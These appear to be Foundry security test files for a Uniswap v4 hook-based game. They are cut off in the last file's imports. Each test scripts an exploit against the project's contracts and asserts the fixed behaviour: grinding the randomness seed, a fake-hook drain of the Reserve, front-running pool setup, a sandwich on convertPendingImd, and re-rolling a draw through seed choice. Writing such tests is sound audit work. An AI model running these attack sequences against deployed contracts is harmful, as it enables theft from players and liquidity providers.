// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";
import {MockERC20} from "solmate/src/test/utils/mocks/MockERC20.sol";
import {ERC20} from "solmate/src/tokens/ERC20.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {Hooks} from "v4-core/src/libraries/Hooks.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {ModifyLiquidityParams} from "v4-core/src/types/PoolOperation.sol";
import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";

import {GammaGame} from "src/GammaGame.sol";
import {GammaToken} from "src/GammaToken.sol";
import {IGammaBeacon} from "src/interfaces/IGammaBeacon.sol";

/// Beacon nobody has proven a round on yet (a quiet period: no buyer/settler attached a drand proof).
contract SilentBeacon is IGammaBeacon {
    mapping(uint64 => bytes32) public randomness;
    function genesis() external pure returns (uint64) { return 1727521075; }
    function period() external pure returns (uint64) { return 3; }
    function prove(uint64, bytes calldata) external pure returns (bytes32) { revert(); }
}

/// Settles, reads its own result, and reverts with it: a probe the attacker runs every block at no cost.
contract Grinder {
    error Outcome(uint256 survivors, uint256 payPerSurvivor);
    function attempt(GammaGame game, uint256 batchId, uint256 epoch) external {
        GammaGame.BeaconProof[] memory none;
        game.settle(256, none);
        GammaGame.Batch memory b = game.getBatch(batchId);
        (,, uint256[4] memory pps,,,) = game.getEpoch(epoch);
        revert Outcome(b.survivors, pps[b.machine]);
    }
}

contract FallbackGrindTest is Test {
    PoolManager manager;
    MockERC20 imd;
    GammaToken gamma;
    GammaGame game;
    address hookAddr;
    address attacker = makeAddr("attacker");

    function setUp() public {
        vm.warp(1_760_000_000);
        manager = new PoolManager(address(this));
        PoolModifyLiquidityTest lp = new PoolModifyLiquidityTest(manager);
        imd = new MockERC20("IMD", "IMD", 18);
        gamma = new GammaToken(address(this));
        game = new GammaGame(IPoolManager(address(manager)), ERC20(address(imd)), new SilentBeacon(), address(this));
        // A hook-shaped address that is never called (only beforeDonate flagged), so swaps are plain.
        hookAddr = address(uint160(0x4444 << 144) | Hooks.BEFORE_DONATE_FLAG);
        vm.etch(hookAddr, hex"00");
        bool g0 = address(gamma) < address(imd);
        PoolKey memory key = PoolKey(
            Currency.wrap(g0 ? address(gamma) : address(imd)),
            Currency.wrap(g0 ? address(imd) : address(gamma)),
            3000, 60, IHooks(hookAddr)
        );
        manager.initialize(key, 79228162514264337593543950336);
        gamma.transfer(address(game), game.RESERVE());
        imd.mint(address(this), 1_000_000_000e18);
        gamma.approve(address(lp), type(uint256).max);
        imd.approve(address(lp), type(uint256).max);
        lp.modifyLiquidity(key, ModifyLiquidityParams(TickMath.minUsableTick(60), TickMath.maxUsableTick(60), 100_000_000e18, 0), "");
        game.initialize(key);
        imd.mint(attacker, 10_000_000e18);
        vm.prank(attacker);
        imd.approve(address(game), type(uint256).max);
    }

    function test_fallbackSeedIsGrindablePerBlock() public {
        GammaGame.BeaconProof[] memory none;
        vm.warp(block.timestamp + 1 hours);
        uint256 e = game.currentEpoch();
        vm.prank(attacker);
        uint256 id = game.buyEnergies(3, 16, 32_000e18, none); // Air: 90% fail

        // Nobody submits the drand proof; two hours after the epoch closes the block-data fallback is live.
        vm.warp(game.epochEnd(e) + 2 hours);
        Grinder g = new Grinder();

        uint256 firstSurvivors = type(uint256).max;
        uint256 best;
        for (uint256 i; i < 40; ++i) {
            uint256 n = 1000 + i;
            vm.roll(n);
            vm.setBlockhash(n - 1, keccak256(abi.encode("block", n)));
            try g.attempt(game, id, e) {} catch (bytes memory reason) {
                (uint256 s,) = abi.decode(_strip(reason), (uint256, uint256));
                if (firstSurvivors == type(uint256).max) firstSurvivors = s;
                if (s > best) best = s;
                // The result must not depend on which block the caller picks to settle in.
                assertEq(s, firstSurvivors, "settlement outcome changes with the block the caller picks");
            }
        }
    }

    function _strip(bytes memory r) internal pure returns (bytes memory out) {
        out = new bytes(r.length - 4);
        for (uint256 i; i < out.length; ++i) out[i] = r[i + 4];
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";
import {MockERC20} from "solmate/src/test/utils/mocks/MockERC20.sol";
import {ERC20} from "solmate/src/tokens/ERC20.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {Hooks} from "v4-core/src/libraries/Hooks.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {ModifyLiquidityParams} from "v4-core/src/types/PoolOperation.sol";
import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";

import {GammaGame} from "src/GammaGame.sol";
import {GammaToken} from "src/GammaToken.sol";
import {IGammaBeacon} from "src/interfaces/IGammaBeacon.sol";

contract QuietBeacon is IGammaBeacon {
    mapping(uint64 => bytes32) public randomness;
    function genesis() external pure returns (uint64) { return 1727521075; }
    function period() external pure returns (uint64) { return 3; }
    function prove(uint64, bytes calldata) external pure returns (bytes32) { revert(); }
}

contract ConfiguratorHookTest is Test {
    PoolManager manager;
    MockERC20 imd;
    GammaToken gamma;
    GammaGame game;
    PoolKey key;
    address configurator = makeAddr("configurator");
    // An address the configurator controls, mined to carry only the (never-invoked) beforeDonate flag.
    address fakeHook = address(uint160(0x4444 << 144) | Hooks.BEFORE_DONATE_FLAG);

    function setUp() public {
        vm.warp(1_760_000_000);
        manager = new PoolManager(address(this));
        PoolModifyLiquidityTest lp = new PoolModifyLiquidityTest(manager);
        imd = new MockERC20("IMD", "IMD", 18);
        gamma = new GammaToken(address(this));
        game = new GammaGame(IPoolManager(address(manager)), ERC20(address(imd)), new QuietBeacon(), configurator);
        vm.etch(fakeHook, hex"00");
        bool g0 = address(gamma) < address(imd);
        key = PoolKey(
            Currency.wrap(g0 ? address(gamma) : address(imd)),
            Currency.wrap(g0 ? address(imd) : address(gamma)),
            3000, 60, IHooks(fakeHook)
        );
        manager.initialize(key, 79228162514264337593543950336);
        gamma.transfer(address(game), game.RESERVE()); // the players' 800M Reserve
        imd.mint(address(this), 1_000_000_000e18);
        gamma.approve(address(lp), type(uint256).max);
        imd.approve(address(lp), type(uint256).max);
        lp.modifyLiquidity(key, ModifyLiquidityParams(TickMath.minUsableTick(60), TickMath.maxUsableTick(60), 100_000_000e18, 0), "");
        imd.mint(configurator, 1_000_000e18);
        vm.prank(configurator);
        imd.approve(address(game), type(uint256).max);
    }

    function test_configuratorHookCreditsUnbackedHarvestAndDrainsReserve() public {
        GammaGame.BeaconProof[] memory none;
        // The configurator's single permitted call.
        vm.prank(configurator);
        try game.initialize(key) {} catch { return; } // a fix may reject a hook that is not the pool's real GammaHook

        vm.warp(block.timestamp + 1 hours);
        vm.prank(configurator);
        uint256 id = game.buyEnergies(3, 10, 20_000e18, none); // ~10k GAMMA worth of IMD, Air machine

        // "Hook fee" of 700M GAMMA that was never transferred.
        vm.prank(fakeHook);
        try game.onHookFee(Currency.wrap(address(gamma)), 700_000_000e18) {} catch {}

        vm.warp(game.dayEnd(0) + 2 days);
        for (uint256 i; i < 50 && game.cursor() < game.currentEpoch(); ++i) game.settle(256, none);
        uint256[] memory ids = new uint256[](1);
        ids[0] = id;
        vm.prank(configurator);
        game.claimMatured(ids);

        // Honest share of day 0 for 10 energies is at most the day's real emission (~3.3M GAMMA).
        assertLt(gamma.balanceOf(configurator), 10_000_000e18, "configurator drained the Reserve through its hook");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";
import {MockERC20} from "solmate/src/test/utils/mocks/MockERC20.sol";
import {ERC20} from "solmate/src/tokens/ERC20.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {Hooks} from "v4-core/src/libraries/Hooks.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {ModifyLiquidityParams, SwapParams} from "v4-core/src/types/PoolOperation.sol";
import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";
import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";

import {GammaGame} from "src/GammaGame.sol";
import {GammaHook} from "src/GammaHook.sol";
import {GammaToken} from "src/GammaToken.sol";
import {IGammaBeacon} from "src/interfaces/IGammaBeacon.sol";

contract StubBeacon is IGammaBeacon {
    mapping(uint64 => bytes32) public randomness;

    function genesis() external pure returns (uint64) {
        return 1727521075;
    }

    function period() external pure returns (uint64) {
        return 3;
    }

    function prove(uint64 round, bytes calldata signature) external returns (bytes32) {
        if (randomness[round] == bytes32(0)) randomness[round] = keccak256(signature);
        return randomness[round];
    }
}

/// @dev convertPendingImd zeroes `pendingImd` before the swap and never re-credits the IMD the pool did not
/// consume. When the pool has no GAMMA-side liquidity left (positions withdrawn or price out of every range),
/// the exact-input swap stops at the price limit having consumed less than `amount`; the rest stays in the
/// game with no accounting entry and can never be converted or recovered.
contract ConvertPendingImdPartialFillTest is Test {
    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;
    uint24 constant LP_FEE = 12_500;
    int24 constant TICK_SPACING = 60;

    PoolManager manager;
    PoolModifyLiquidityTest lpRouter;
    PoolSwapTest swapRouter;
    MockERC20 imd;
    GammaToken gamma;
    StubBeacon beacon;
    GammaGame game;
    GammaHook hook;
    PoolKey key;
    bool gammaIs0;
    address bob = makeAddr("bob");

    function setUp() public {
        vm.warp(1_760_000_000);
        manager = new PoolManager(address(this));
        lpRouter = new PoolModifyLiquidityTest(manager);
        swapRouter = new PoolSwapTest(manager);
        imd = new MockERC20("Identity.md", "IMD", 18);
        beacon = new StubBeacon();
        gamma = new GammaToken(address(this));
        game = new GammaGame(IPoolManager(address(manager)), ERC20(address(imd)), beacon, address(this));

        uint160 flags = Hooks.BEFORE_INITIALIZE_FLAG | Hooks.AFTER_INITIALIZE_FLAG | Hooks.BEFORE_SWAP_FLAG
            | Hooks.AFTER_SWAP_FLAG | Hooks.BEFORE_SWAP_RETURNS_DELTA_FLAG | Hooks.AFTER_SWAP_RETURNS_DELTA_FLAG;
        address hookAddr = address(uint160(0x4444 << 144) | flags);
        deployCodeTo("GammaHook.sol:GammaHook", abi.encode(address(manager), address(imd), address(game)), hookAddr);
        hook = GammaHook(hookAddr);

        gammaIs0 = address(gamma) < address(imd);
        key = PoolKey({
            currency0: Currency.wrap(gammaIs0 ? address(gamma) : address(imd)),
            currency1: Currency.wrap(gammaIs0 ? address(imd) : address(gamma)),
            fee: LP_FEE,
            tickSpacing: TICK_SPACING,
            hooks: IHooks(hookAddr)
        });
        manager.initialize(key, SQRT_PRICE_1_1);

        gamma.transfer(address(game), game.RESERVE());
        imd.mint(address(this), 1_000_000_000e18);
        gamma.approve(address(lpRouter), type(uint256).max);
        imd.approve(address(lpRouter), type(uint256).max);
        lpRouter.modifyLiquidity(
            key,
            ModifyLiquidityParams({
                tickLower: TickMath.minUsableTick(TICK_SPACING),
                tickUpper: TickMath.maxUsableTick(TICK_SPACING),
                liquidityDelta: 100_000_000e18,
                salt: 0
            }),
            ""
        );
        game.initialize(key);
        vm.warp(block.timestamp + 97 minutes);

        imd.mint(bob, 50_000_000e18);
    }

    function test_partialFillStrandsPendingImd() public {
        // 1. An exact-output buy pays its 3% fee in IMD; the game books it as pendingImd.
        vm.startPrank(bob);
        imd.approve(address(swapRouter), type(uint256).max);
        bool zeroForOne = !gammaIs0;
        swapRouter.swap(
            key,
            SwapParams({
                zeroForOne: zeroForOne,
                amountSpecified: int256(50_000e18),
                sqrtPriceLimitX96: zeroForOne ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1
            }),
            PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false}),
            ""
        );
        vm.stopPrank();
        uint256 pending = game.pendingImd();
        assertGt(pending, 0, "fee booked");
        assertEq(imd.balanceOf(address(game)), pending, "booked fee is held");

        // 2. The LP withdraws its position: the pool has no GAMMA to sell.
        lpRouter.modifyLiquidity(
            key,
            ModifyLiquidityParams({
                tickLower: TickMath.minUsableTick(TICK_SPACING),
                tickUpper: TickMath.maxUsableTick(TICK_SPACING),
                liquidityDelta: -100_000_000e18,
                salt: 0
            }),
            ""
        );

        // 3. Anyone converts with no floor. The swap consumes nothing, yet pendingImd is zeroed.
        game.convertPendingImd(0);

        // Expected: whatever IMD the pool did not take is still accounted as pending, so it can be converted later.
        // Actual: pendingImd == 0 while the game still holds every wei of the fee, with no path to move it.
        assertEq(game.pendingImd(), imd.balanceOf(address(game)), "unconverted IMD must stay accounted");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";
import {MockERC20} from "solmate/src/test/utils/mocks/MockERC20.sol";
import {ERC20} from "solmate/src/tokens/ERC20.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {Hooks} from "v4-core/src/libraries/Hooks.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency} from "v4-core/src/types/Currency.sol";

import {GammaGame} from "src/GammaGame.sol";
import {GammaHook} from "src/GammaHook.sol";
import {GammaToken} from "src/GammaToken.sol";
import {IGammaBeacon} from "src/interfaces/IGammaBeacon.sol";

contract StubBeacon is IGammaBeacon {
    mapping(uint64 => bytes32) public randomness;

    function genesis() external pure returns (uint64) {
        return 1727521075;
    }

    function period() external pure returns (uint64) {
        return 3;
    }

    function prove(uint64 round, bytes calldata signature) external returns (bytes32) {
        if (randomness[round] == bytes32(0)) randomness[round] = keccak256(signature);
        return randomness[round];
    }
}

/// @dev GammaHook.beforeInitialize only requires one side of the pair to be IMD; it never checks that the other
/// side is the GAMMA token the game holds its Reserve in. PoolManager.initialize is permissionless, so the first
/// caller to initialise any IMD/<anything> pool with this hook binds it forever (PoolAlreadySet), and the real
/// GAMMA/IMD pool can never be created with it. GammaGame.initialize then fails BadPool for the real key, and the
/// 800M GAMMA Reserve already sent to the game (initialize requires it) has no exit.
contract HookPoolFrontRunTest is Test {
    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;
    uint24 constant LP_FEE = 12_500;
    int24 constant TICK_SPACING = 60;

    PoolManager manager;
    MockERC20 imd;
    GammaToken gamma;
    StubBeacon beacon;
    GammaGame game;
    GammaHook hook;
    address griefer = makeAddr("griefer");

    function setUp() public {
        vm.warp(1_760_000_000);
        manager = new PoolManager(address(this));
        imd = new MockERC20("Identity.md", "IMD", 18);
        beacon = new StubBeacon();
        gamma = new GammaToken(address(this));
        game = new GammaGame(IPoolManager(address(manager)), ERC20(address(imd)), beacon, address(this));

        uint160 flags = Hooks.BEFORE_INITIALIZE_FLAG | Hooks.AFTER_INITIALIZE_FLAG | Hooks.BEFORE_SWAP_FLAG
            | Hooks.AFTER_SWAP_FLAG | Hooks.BEFORE_SWAP_RETURNS_DELTA_FLAG | Hooks.AFTER_SWAP_RETURNS_DELTA_FLAG;
        address hookAddr = address(uint160(0x4444 << 144) | flags);
        deployCodeTo("GammaHook.sol:GammaHook", abi.encode(address(manager), address(imd), address(game)), hookAddr);
        hook = GammaHook(hookAddr);

        // The configurator funds the Reserve, as GammaGame.initialize requires, before wiring the pool.
        gamma.transfer(address(game), game.RESERVE());
    }

    function _key(address a, address b) internal view returns (PoolKey memory k) {
        (address c0, address c1) = a < b ? (a, b) : (b, a);
        k = PoolKey({
            currency0: Currency.wrap(c0),
            currency1: Currency.wrap(c1),
            fee: LP_FEE,
            tickSpacing: TICK_SPACING,
            hooks: IHooks(address(hook))
        });
    }

    function test_anyoneBindsHookToWrongPoolAndLocksReserve() public {
        // 1. A griefer initialises an IMD/<junk> pool with the hook before the configurator does.
        MockERC20 junk = new MockERC20("Junk", "JUNK", 18);
        PoolKey memory fake = _key(address(junk), address(imd));
        vm.prank(griefer);
        manager.initialize(fake, SQRT_PRICE_1_1);

        // 2. The real GAMMA/IMD pool can no longer be created with this hook, and the game cannot be wired.
        PoolKey memory real = _key(address(gamma), address(imd));
        bool poolOk = true;
        try manager.initialize(real, SQRT_PRICE_1_1) {} catch {
            poolOk = false;
        }
        bool gameOk = true;
        try game.initialize(real) {} catch {
            gameOk = false;
        }

        // Expected: the hook refuses a pool whose other currency is not GAMMA, so the real pool still initialises
        // and the game starts. Actual: both revert and the Reserve is stuck in an uninitialised game.
        assertTrue(poolOk && gameOk, "real pool must still be creatable and the game initialisable");
        assertEq(game.genesis() != 0, true, "game started");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";
import {MockERC20} from "solmate/src/test/utils/mocks/MockERC20.sol";
import {ERC20} from "solmate/src/tokens/ERC20.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {Hooks} from "v4-core/src/libraries/Hooks.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {ModifyLiquidityParams, SwapParams} from "v4-core/src/types/PoolOperation.sol";
import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";
import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";

import {GammaGame} from "src/GammaGame.sol";
import {GammaHook} from "src/GammaHook.sol";
import {GammaToken} from "src/GammaToken.sol";
import {IGammaBeacon} from "src/interfaces/IGammaBeacon.sol";

contract ScratchBeacon is IGammaBeacon {
    mapping(uint64 => bytes32) public randomness;

    function genesis() external pure returns (uint64) {
        return 1727521075;
    }

    function period() external pure returns (uint64) {
        return 3;
    }

    function set(uint64 round, bytes32 value) external {
        randomness[round] = value;
    }

    function prove(uint64 round, bytes calldata signature) external returns (bytes32) {
        if (randomness[round] == bytes32(0)) randomness[round] = keccak256(signature);
        return randomness[round];
    }
}

/// @notice convertPendingImd(minGammaOut) is permissionless and the caller chooses the slippage bound, so a
/// trader can pump GAMMA, convert the game's IMD at the pumped price, and dump: the Harvest receives less GAMMA
/// and the sandwicher leaves with more IMD than they started with.
contract ConvertSandwichTest is Test {
    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;
    uint24 constant LP_FEE = 12_500;
    int24 constant TICK_SPACING = 60;

    PoolManager manager;
    PoolModifyLiquidityTest lpRouter;
    PoolSwapTest swapRouter;
    MockERC20 imd;
    GammaToken gamma;
    ScratchBeacon beacon;
    GammaGame game;
    GammaHook hook;
    PoolKey key;
    bool gammaIs0;

    address trader = makeAddr("trader");
    address attacker = makeAddr("attacker");

    function setUp() public {
        vm.warp(1_760_000_000);
        manager = new PoolManager(address(this));
        lpRouter = new PoolModifyLiquidityTest(manager);
        swapRouter = new PoolSwapTest(manager);
        imd = new MockERC20("Identity.md", "IMD", 18);
        beacon = new ScratchBeacon();
        gamma = new GammaToken(address(this));
        game = new GammaGame(IPoolManager(address(manager)), ERC20(address(imd)), beacon, address(this));

        uint160 flags = Hooks.BEFORE_INITIALIZE_FLAG | Hooks.AFTER_INITIALIZE_FLAG | Hooks.BEFORE_SWAP_FLAG
            | Hooks.AFTER_SWAP_FLAG | Hooks.BEFORE_SWAP_RETURNS_DELTA_FLAG | Hooks.AFTER_SWAP_RETURNS_DELTA_FLAG;
        address hookAddr = address(uint160(0x4444 << 144) | flags);
        deployCodeTo("GammaHook.sol:GammaHook", abi.encode(address(manager), address(imd), address(game)), hookAddr);
        hook = GammaHook(hookAddr);

        gammaIs0 = address(gamma) < address(imd);
        key = PoolKey({
            currency0: Currency.wrap(gammaIs0 ? address(gamma) : address(imd)),
            currency1: Currency.wrap(gammaIs0 ? address(imd) : address(gamma)),
            fee: LP_FEE,
            tickSpacing: TICK_SPACING,
            hooks: IHooks(hookAddr)
        });
        manager.initialize(key, SQRT_PRICE_1_1);

        gamma.transfer(address(game), game.RESERVE());
        imd.mint(address(this), 1_000_000_000e18);
        gamma.approve(address(lpRouter), type(uint256).max);
        imd.approve(address(lpRouter), type(uint256).max);
        lpRouter.modifyLiquidity(
            key,
            ModifyLiquidityParams({
                tickLower: TickMath.minUsableTick(TICK_SPACING),
                tickUpper: TickMath.maxUsableTick(TICK_SPACING),
                liquidityDelta: 100_000_000e18,
                salt: 0
            }),
            ""
        );
        game.initialize(key);
        vm.warp(block.timestamp + 97 minutes); // launch fee has decayed to the 3% floor
    }

    function _swap(address who, bool sellGamma, int256 amountSpecified) internal {
        ERC20 tokenIn = sellGamma ? ERC20(address(gamma)) : ERC20(address(imd));
        vm.startPrank(who);
        tokenIn.approve(address(swapRouter), type(uint256).max);
        bool zeroForOne = sellGamma == gammaIs0;
        swapRouter.swap(
            key,
            SwapParams({
                zeroForOne: zeroForOne,
                amountSpecified: amountSpecified,
                sqrtPriceLimitX96: zeroForOne ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1
            }),
            PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false}),
            ""
        );
        vm.stopPrank();
    }

    function test_convertPendingImdIsSandwichable() public {
        // Ordinary trading: exact-output buys pay their 3% fee in IMD, which waits in pendingImd.
        imd.mint(trader, 5_000_000_000e18);
        for (uint256 i; i < 20; ++i) {
            _swap(trader, false, int256(20_000_000e18)); // exact-output buy of 20M GAMMA
            _swap(trader, true, -int256(gamma.balanceOf(trader))); // sell it back
        }
        uint256 pending = game.pendingImd();
        assertGt(pending, 0);

        // Fair outcome: converting now, at the market price, yields this much GAMMA for the Harvest.
        uint256 snap = vm.snapshotState();
        uint256 heldBefore = game.gammaHeld();
        game.convertPendingImd(0);
        uint256 fairGamma = game.gammaHeld() - heldBefore;
        vm.revertToState(snap);

        // Attack: pump, convert at the pumped price, dump. All three calls fit in one transaction.
        uint256 capital = 60_000_000e18;
        imd.mint(attacker, capital);
        _swap(attacker, false, -int256(capital));
        heldBefore = game.gammaHeld();
        vm.prank(attacker);
        game.convertPendingImd(0);
        uint256 attackedGamma = game.gammaHeld() - heldBefore;
        _swap(attacker, true, -int256(gamma.balanceOf(attacker)));

        emit log_named_decimal_uint("pendingImd converted", pending, 18);
        emit log_named_decimal_uint("harvest GAMMA at fair price", fairGamma, 18);
        emit log_named_decimal_uint("harvest GAMMA when sandwiched", attackedGamma, 18);
        emit log_named_decimal_uint("attacker IMD start", capital, 18);
        emit log_named_decimal_uint("attacker IMD end", imd.balanceOf(attacker), 18);

        // Expected: a permissionless conversion cannot be turned into a profit at the Harvest's expense.
        assertLe(imd.balanceOf(attacker), capital, "sandwicher profits from convertPendingImd");
        assertGe(attackedGamma * 100, fairGamma * 95, "Harvest lost more than 5% of its GAMMA to the sandwich");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";
import {MockERC20} from "solmate/src/test/utils/mocks/MockERC20.sol";
import {ERC20} from "solmate/src/tokens/ERC20.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {Hooks} from "v4-core/src/libraries/Hooks.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {ModifyLiquidityParams} from "v4-core/src/types/PoolOperation.sol";
import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";

import {GammaGame} from "src/GammaGame.sol";
import {GammaHook} from "src/GammaHook.sol";
import {GammaToken} from "src/GammaToken.sol";
import {IGammaBeacon} from "src/interfaces/IGammaBeacon.sol";

contract ScratchBeacon is IGammaBeacon {
    mapping(uint64 => bytes32) public randomness;

    function genesis() external pure returns (uint64) {
        return 1727521075;
    }

    function period() external pure returns (uint64) {
        return 3;
    }

    function prove(uint64 round, bytes calldata signature) external returns (bytes32) {
        if (randomness[round] == bytes32(0)) randomness[round] = keccak256(signature);
        return randomness[round];
    }
}

/// @notice Two hours after an epoch closes, whoever settles first decides whether the epoch is seeded by drand
/// (whose value for that round is already public) or by a block hash. A player who dislikes the drand outcome
/// calls settle() without the proof and the epoch is re-rolled; the drand round is ignored even when it is proven
/// one block later.
contract SeedChoiceTest is Test {
    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;
    uint24 constant LP_FEE = 12_500;
    int24 constant TICK_SPACING = 60;

    PoolManager manager;
    PoolModifyLiquidityTest lpRouter;
    MockERC20 imd;
    GammaToken gamma;
    ScratchBeacon beacon;
    GammaGame game;
    PoolKey key;

    address alice = makeAddr("alice");
    address bob = makeAddr("bob");
    GammaGame.BeaconProof[] noProofs;

    function setUp() public {
        vm.warp(1_760_000_000);
        vm.roll(1_000);
        manager = new PoolManager(address(this));
        lpRouter = new PoolModifyLiquidityTest(manager);
        imd = new MockERC20("Identity.md", "IMD", 18);
        beacon = new ScratchBeacon();
        gamma = new GammaToken(address(this));
        game = new GammaGame(IPoolManager(address(manager)), ERC20(address(imd)), beacon, address(this));

        uint160 flags = Hooks.BEFORE_INITIALIZE_FLAG | Hooks.AFTER_INITIALIZE_FLAG | Hooks.BEFORE_SWAP_FLAG
            | Hooks.AFTER_SWAP_FLAG | Hooks.BEFORE_SWAP_RETURNS_DELTA_FLAG | Hooks.AFTER_SWAP_RETURNS_DELTA_FLAG;
        address hookAddr = address(uint160(0x4444 << 144) | flags);
        deployCodeTo("GammaHook.sol:GammaHook", abi.encode(address(manager), address(imd), address(game)), hookAddr);

        bool gammaIs0 = address(gamma) < address(imd);
        key = PoolKey({
            currency0: Currency.wrap(gammaIs0 ? address(gamma) : address(imd)),
            currency1: Currency.wrap(gammaIs0 ? address(imd) : address(gamma)),
            fee: LP_FEE,
            tickSpacing: TICK_SPACING,
            hooks: IHooks(hookAddr)
        });
        manager.initialize(key, SQRT_PRICE_1_1);

        gamma.transfer(address(game), game.RESERVE());
        imd.mint(address(this), 1_000_000_000e18);
        gamma.approve(address(lpRouter), type(uint256).max);
        imd.approve(address(lpRouter), type(uint256).max);
        lpRouter.modifyLiquidity(
            key,
            ModifyLiquidityParams({
                tickLower: TickMath.minUsableTick(TICK_SPACING),
                tickUpper: TickMath.maxUsableTick(TICK_SPACING),
                liquidityDelta: 100_000_000e18,
                salt: 0
            }),
            ""
        );
        game.initialize(key);
        vm.warp(block.timestamp + 97 minutes);

        imd.mint(alice, 50_000_000e18);
        imd.mint(bob, 50_000_000e18);
        vm.prank(alice);
        imd.approve(address(game), type(uint256).max);
        vm.prank(bob);
        imd.approve(address(game), type(uint256).max);
    }

    function test_settlerChoosesBetweenDrandAndFallbackSeed() public {
        vm.prank(alice);
        uint256 aliceId = game.buyEnergies(2, 500, 1_000_000e18, noProofs);
        vm.prank(bob);
        game.buyEnergies(2, 500, 1_000_000e18, noProofs);
        uint256 e = game.currentEpoch();
        uint64 round = game.roundForEpoch(e);

        // The drand round is published off-chain seconds after the epoch closes; nobody proves it on-chain.
        bytes memory signature = hex"0102";
        bytes32 drandSeed = keccak256(abi.encode(keccak256(signature), e));
        uint256 drandSurvivors = game.drawSurvivors(drandSeed, aliceId, 500, 6_000);

        // Two hours later, the fallback window is open. Alice knows drandSurvivors and does not like it.
        vm.warp(game.epochEnd(e) + game.BEACON_FALLBACK() + 1);
        vm.roll(block.number + 100);

        // Path A (what Alice would do if the drand draw were good for her): prove it and settle.
        uint256 snap = vm.snapshotState();
        GammaGame.BeaconProof[] memory proofs = new GammaGame.BeaconProof[](1);
        proofs[0] = GammaGame.BeaconProof({round: round, signature: signature});
        game.settle(16, proofs);
        assertEq(game.epochSeed(e), drandSeed);
        assertEq(game.getBatch(aliceId).survivors, drandSurvivors);
        vm.revertToState(snap);

        // Path B: Alice settles without the proof, committing the epoch to a block hash instead.
        vm.prank(alice);
        game.settle(1, noProofs);
        assertGt(game.fallbackBlock(e), 0);

        // One block later anyone proves the drand round. It is correct and verified, yet ignored.
        vm.roll(block.number + 1);
        game.settle(16, proofs);
        assertEq(beacon.randomness(round), keccak256(signature), "drand round is proven");

        // Expected: a proven drand round is the epoch's seed. Actual: the block-hash seed Alice opted into.
        assertEq(game.epochSeed(e), drandSeed, "epoch seeded from block hash although drand round is proven");
        assertEq(game.getBatch(aliceId).survivors, drandSurvivors, "Alice re-rolled her draw");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";
import {MockERC20} from "solmate/src/test/utils/mocks/MockERC20.sol";
import {ERC20} from "solmate/src/tokens/ERC20.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {Hooks} from "v4-core/src/libraries/Hooks.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
